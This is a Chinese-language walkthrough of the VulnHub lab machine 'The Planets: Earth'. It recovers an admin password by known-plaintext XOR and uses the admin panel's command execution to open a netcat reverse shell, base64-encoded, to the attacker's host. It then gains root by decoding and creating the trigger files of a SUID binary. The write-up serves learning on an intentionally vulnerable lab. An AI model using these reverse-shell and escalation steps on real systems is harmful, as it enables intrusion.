跳到主要内容

VulnHub The Planets: Earth 通关记录|XOR 已知明文、后台命令执行与 reset_root 提权

靶机链接:The Planets: Earth


0x01 基本信息

名称IP
Kali Linux192.168.1.113
The Planets: Earth192.168.1.111

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp443/tcp确定 Web 是主攻击面
虚拟主机识别TLS 证书 SAN: earth.localterratest.earth.local找到真正的站点入口
信息泄露testingnotes.txttestdata.txt泄露 admin 用户和 XOR 测试明文
密钥恢复已知明文 XOR得到后台密码 earthclimatechangebad4humans
初始访问Django 后台命令执行获得 apache 代码执行能力
Shell 获取nc -e /bin/bash 反弹转入稳定交互式枚举
本地提权SUID reset_root通过触发文件将 root 密码重置为 Earth
结果获取su - root + 读取 flag获得 root 权限和两枚 flag

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap

按惯例先用 RustScan 快速发现端口,再交给 Nmap 做版本识别和默认脚本探测:

rustscan -a 192.168.1.111 --ulimit 5000 -- -sC -sV

首轮结果:

Open 192.168.1.111:22
Open 192.168.1.111:53
Open 192.168.1.111:80
Open 192.168.1.111:443

Nmap 复核后的服务摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.6
53/tcpDNSfiltered domain
80/tcpHTTPApache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
443/tcpHTTPS同为 Apache,证书 CN=earth.local

其中最关键的信息不在网页标题,而在 TLS 证书里。通过证书 SAN 识别 vhost 的通用流程见知识库:TLS 证书 SAN 与虚拟主机发现。Nmap 已经给出了:

Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

这意味着目标很可能依赖虚拟主机,如果直接访问 IP,只会得到误导性的 400 Bad Request

2. HTTP/HTTPS 直连验证

先验证 IP 直接访问的表现:

curl -I http://192.168.1.111
curl -k -I https://192.168.1.111

返回都是:

HTTP/1.1 400 Bad Request

这类现象通常说明后端在按 Host 头做路由,或者框架层要求正确的域名。

3. 虚拟主机内容识别

直接用 --resolve 指定主机名访问 HTTPS:

curl -sk --resolve earth.local:443:192.168.1.111 https://earth.local/
curl -sk --resolve terratest.earth.local:443:192.168.1.111 https://terratest.earth.local/

两个 vhost 的行为完全不同:

主机名页面内容判断
earth.localEarth Secure Messaging Service主站点
terratest.earth.localTest site, please ignore.测试站,优先怀疑信息泄露

earth.local 首页是一个消息提交表单,底部还显示了多段十六进制字符串形式的历史消息;这通常意味着开发者自己设计了一套“加密”逻辑,后面很可能能打。

4. 目录枚举

先做一轮轻量目录探测:

gobuster dir -u http://192.168.1.111 -H 'Host: earth.local' -w /usr/share/wordlists/dirb/common.txt -q
gobuster dir -u http://192.168.1.111 -H 'Host: terratest.earth.local' -w /usr/share/wordlists/dirb/common.txt -q

发现:

admin (Status: 301) [--> /admin/]
cgi-bin/ (Status: 403)

/admin/ 很显眼,但先不急着爆破。这个站看起来更像是“信息泄露 + 弱加密”题,而不是传统弱口令题。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. 测试站泄露 testingnotes.txt

测试站首页内容很少,优先去看常见泄露文件。robots.txt 往往是很好的起点;这类线索的处理方法见知识库:robots.txt 与静态资源线索分析

curl -sk --resolve terratest.earth.local:443:192.168.1.111 https://terratest.earth.local/robots.txt

返回一长串禁止抓取规则,其中包括:

Disallow: /*.txt

这不是防护,反而像提示。继续访问常见测试文件名:

curl -sk --resolve terratest.earth.local:443:192.168.1.111 https://terratest.earth.local/testingnotes.txt

完整内容如下:

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

这一段信息基本把攻击链直接送到了眼前:

  1. 主站历史消息使用 XOR
  2. testdata.txt 是一份可获取的测试明文
  3. 后台用户名是 terra

2. 获取已知明文 testdata.txt

继续读取测试数据:

curl -sk --resolve terratest.earth.local:443:192.168.1.111 \
https://terratest.earth.local/testdata.txt -o /tmp/testdata.txt
cat /tmp/testdata.txt

完整内容如下:

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

与此同时,earth.local 首页底部已经展示了 3 段历史密文,其中一段长度与 testdata.txt 很接近。这类组合几乎就是标准的已知明文攻击场景。

3. 确认消息加密方式

为了先验证自己的理解,可以向主站提交一条极短的测试消息:

curl -sk -c /tmp/earth.cookies \
--resolve earth.local:443:192.168.1.111 \
https://earth.local/ -o /tmp/earth.html
grep -oP 'csrfmiddlewaretoken" value="\K[^"]+' /tmp/earth.html
curl -sk -b /tmp/earth.cookies \
--resolve earth.local:443:192.168.1.111 \
-d 'csrfmiddlewaretoken=<token>&message=AAAA&message_key=BBBB' \
https://earth.local/

提交后,历史消息列表中会新增:

03030303

因为:

0x41 ^ 0x42 = 0x03

这说明应用的确是在做逐字节 XOR,然后以 hex 形式存储输出。既然 testdata.txt 是已知明文,那么对应密文的密钥就可以直接恢复。

4. 已知明文恢复后台密码

对首页第三段长密文与 testdata.txt 做按位异或,即可得到重复密钥。重复密钥 XOR 的判断和脚本模板见知识库:重复密钥 XOR 与已知明文攻击。思路如下:

key = ciphertext XOR plaintext

用一个简短的 Python 片段恢复最短循环节:

python3 - <<'PY'
from binascii import unhexlify

ct = unhexlify("2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a")
pt = open("/tmp/testdata.txt","rb").read().rstrip(b"\n")

key = bytes(c ^ p for c, p in zip(ct, pt))
for i in range(1, len(key)+1):
if key == (key[:i] * (len(key)//i + 1))[:len(key)]:
print(key[:i].decode())
break
PY

输出:

earthclimatechangebad4humans

这串字符串很像“开发者自认为很安全的共享密钥”,同时也很可能被直接拿来复用成后台密码。于是后台凭据组合变成:

用户名密码
terraearthclimatechangebad4humans

5. 登录后台并确认命令执行

先获取后台登录页:

curl -sk -c /tmp/earth_admin.cookies \
--resolve earth.local:443:192.168.1.111 \
https://earth.local/admin/login -o /tmp/earth_admin_login.html

提取 CSRF token 并提交登录:

grep -oP 'csrfmiddlewaretoken" value="\K[^"]+' /tmp/earth_admin_login.html

curl -sk -b /tmp/earth_admin.cookies -c /tmp/earth_admin.cookies \
--resolve earth.local:443:192.168.1.111 \
-e https://earth.local/admin/login \
-d 'csrfmiddlewaretoken=<token>&username=terra&password=earthclimatechangebad4humans&next=%2Fadmin%2F' \
https://earth.local/admin/login -D -

成功登录后访问后台:

curl -sk -b /tmp/earth_admin.cookies \
--resolve earth.local:443:192.168.1.111 \
https://earth.local/admin/

页面给出的核心内容是:

Welcome terra, run your CLI command on Earth Messaging Machine (use with care).

这已经不是“后台管理”,而是直接送了一个命令执行面板。验证一下权限上下文:

id

回显:

uid=48(apache) gid=48(apache) groups=48(apache)

至此,Web 攻击面已经闭环,接下来只需要把命令执行转成更方便的交互式 shell。


0x04 核心攻击链:后台命令执行到 apache Shell

1. 通过后台命令执行弹回 Shell

为了适应后台输入框长度限制,可以把短命令先做 base64,再在远端还原执行。

本机监听:

nc -lvnp 9002

目标命令:

nc -e /bin/bash 192.168.1.113 9002

base64 编码:

printf 'nc -e /bin/bash 192.168.1.113 9002' | base64 -w0

得到:

bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMTMgOTAwMg==

然后通过后台执行:

echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMTMgOTAwMg==|base64 -d|bash

监听端收到连接:

connect to [192.168.1.113] from (UNKNOWN) [192.168.1.111] 37134

进入后确认权限:

id
whoami
uname -a

输出:

uid=48(apache) gid=48(apache) groups=48(apache)
apache
Linux earth 5.14.9-200.fc34.x86_64 ...

拿到 apache 会话后,本地提权就是主要工作了。


0x05 权限提升 (Privilege Escalation)

1. 枚举 SUID 程序

先看常规 SUID。自定义 SUID 二进制的枚举、stringsobjdump 分析流程见知识库:SUID 自定义二进制静态分析

find / -perm -4000 -type f 2>/dev/null

其中有一个非常不寻常的二进制:

/usr/bin/reset_root

名字已经几乎把用途写在文件名里了,这类靶场自定义 SUID 一般就是正解入口。

2. 初步静态分析 reset_root

先看基础信息和字符串:

ls -l /usr/bin/reset_root
file /usr/bin/reset_root
strings -a /usr/bin/reset_root | head -n 80

可见:

-rwsr-xr-x. 1 root root 24552 Oct 12 2021 /usr/bin/reset_root

字符串中最关键的是:

CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

也就是说,这个程序的逻辑是:

  1. 检查若干 “trigger” 文件是否存在
  2. 如果都存在,就把 root 密码改成 Earth

剩下的问题只有一个:这些 trigger 文件路径是什么。

3. 反汇编恢复触发逻辑

继续看反汇编:

objdump -d -Mintel /usr/bin/reset_root | sed -n '/<main>:/,/^$/p'
objdump -d -Mintel /usr/bin/reset_root | sed -n '/<magic_cipher>:/,/^$/p'

可以看出程序内部使用了一个简单的 XOR 解码函数 magic_cipher,把几段硬编码字节串解密后交给 access() 检查。进一步观察还可以看到一个明文 key:

palebluedot

结合 magic_cipher 的逻辑,可以很快恢复出中间密钥与最终文件路径。解码脚本如下:

python3 - <<'PY'
key=b'palebluedot'
ct=bytes.fromhex('040909070e191008051d161c045d5c555e')
mid=bytes(c^key[i%11] for i,c in enumerate(ct))
print(mid)

cts=[
bytes.fromhex('5b0c001443060d004e192a0b3177700275'),
bytes.fromhex('5b0c001443060d004e28155b0767006207'),
bytes.fromhex('5b1c0812431e06205125071b00')
]

for ct in cts:
print(bytes(c^mid[i%17] for i,c in enumerate(ct)))
PY

输出:

b'thebluemarble1972'
b'/dev/shm/kHgTFI5G'
b'/dev/shm/Zw7bV9U5'
b'/tmp/kcM0Wewe'

也就是说,提权条件非常简单:只要以当前低权限用户创建这 3 个文件,再运行 reset_root 即可。

4. 触发密码重置

创建触发文件:

touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe

执行 SUID 程序:

/usr/bin/reset_root

输出:

CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

然后直接切 root:

su - root

输入密码:

Earth

确认权限:

id
whoami
pwd

输出:

uid=0(root) gid=0(root) groups=0(root)
root
/root

到这里,root 权限已经拿到。


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /var/earth_web/user_flag.txt
  • 内容: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

Root Flag

  • 路径: /root/root_flag.txt
  • 内容: [root_flag_b0da9554d29db2117b02aa8b66ec492e]

复盘总结

这台 The Planets: Earth 的攻击链很顺,核心难点不在复杂漏洞,而在于识别开发者自己设计的几层“伪安全”:

  1. 首页密文看起来像“加密通信”,实际上只是重复密钥 XOR。
  2. 测试站 terratest.earth.local 泄露了足够多的辅助信息,使已知明文攻击几乎可以一步到位恢复后台密码。
  3. 后台不是传统管理面,而是直接给了命令执行。
  4. 本地提权也不是内核洞或复杂 race,而是通过静态分析自定义 SUID 程序恢复触发条件。

从渗透测试角度看,这台靶机比较适合复盘以下几个点:

  • 如何从 TLS 证书中快速提取虚拟主机
  • 如何判断并利用重复密钥 XOR
  • 如何把 Web 命令执行快速转成交互式 shell
  • 如何用 strings + objdump 高效分析定制 SUID 程序

如果只看一句话总结,这题的本质就是:

测试环境泄露 + 弱加密设计 + 后台命令执行 + 自定义 SUID 逻辑缺陷